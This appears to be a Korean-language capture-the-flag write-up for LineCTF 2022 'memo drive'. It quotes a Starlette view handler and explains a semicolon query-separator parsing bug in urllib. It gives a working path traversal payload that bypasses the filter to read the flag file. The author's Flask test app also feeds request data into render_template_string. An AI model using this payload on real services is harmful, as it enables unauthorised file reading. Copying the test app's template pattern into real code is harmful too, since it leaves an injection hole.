LineCTF 2022 - memo drive

python의 starlette 프레임워크 기반으로 만들어진 메모 기능의 페이지이다.

 

메인 페이지와 /view, /reset, /save 의 경로가 존재한다.

 

path traversal 취약점을 통해 flag를 획득해야하는것으로 보인다.

 

취약할거같은 부분을 확인해보면 아래 /view 페이지가 취약해 보인다.

def view(request):
    context = {}

    try:
        context['request'] = request
        clientId = getClientID(request.client.host)

        if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
            raise
        
        filename = request.query_params[clientId]
        path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
        
        f = open(path, 'r')
        contents = f.readlines()
        f.close()
        
        context['filename'] = filename
        context['contents'] = contents
    
    except:
        pass
    
    return templates.TemplateResponse('/view/view.html', context)

request.url.query에 &, . 이 포함되어있으면 안되어서 우회할 방법이나 다른 부분이 필요한것으로 보인다.

하지만 starlette 의 깃헙페이지에 보면 이를 우회할 수 있는 취약점이 이슈로 올라온것이있다.

 

https://github.com/encode/starlette/issues/1325

Incorrect handling query parameters containing semicolons · Issue #1325 · encode/starlette

;(세미콜론)이 파라미터의 구분자로 인식되는 버그가 있다는 내용이다.

해당 취약점을 통해 아래 페이로드로 공격을 진행해보면 플래그를 획득할 수 있다.

/view?d54a71d5bcf9c5b93756ad0c97b2d830=flag;/%2e%2e

해당 버그는 starlette에서 발생하는것이 아니라 특정 urllib에서 발생하는것으로 보인다.

https://python-security.readthedocs.io/vuln/urllib-query-string-semicolon-separator.html

urllib parse_qsl(): Web cache poisoning - semicolon as a query args separator — Python Security 0.0 documentation

간단히 docker 환경 구성하여 테스트 해보니

from flask import Flask, request, render_template_string
from urllib.parse import urlparse, parse_qs, parse_qsl

app = Flask(__name__)

@app.route("/")
def index():
	data = request.args.to_dict()
	data2 = urlparse(request.url)
	data2 = parse_qs(data2.query)

	print(data)
	template = '''<h1> what is template ?? is <span style="color:grey">{}</span>//**//<span style="color:grey">{}</span></h1>'''.format(data,data2)
	return render_template_string(template)

if __name__=="__main__":
	app.run()

flask의 request로 확인한 부분과 urllib을 통해 parse 했을때 flask에서는 ; 이 구분자로 사용이 안되지만

urllib으로 parse 했을때는 ; 도 구분자로 사용되는것을 확인할 수 있었다.

 

http://172.17.0.3:5000/?data=213;test=213&t1=222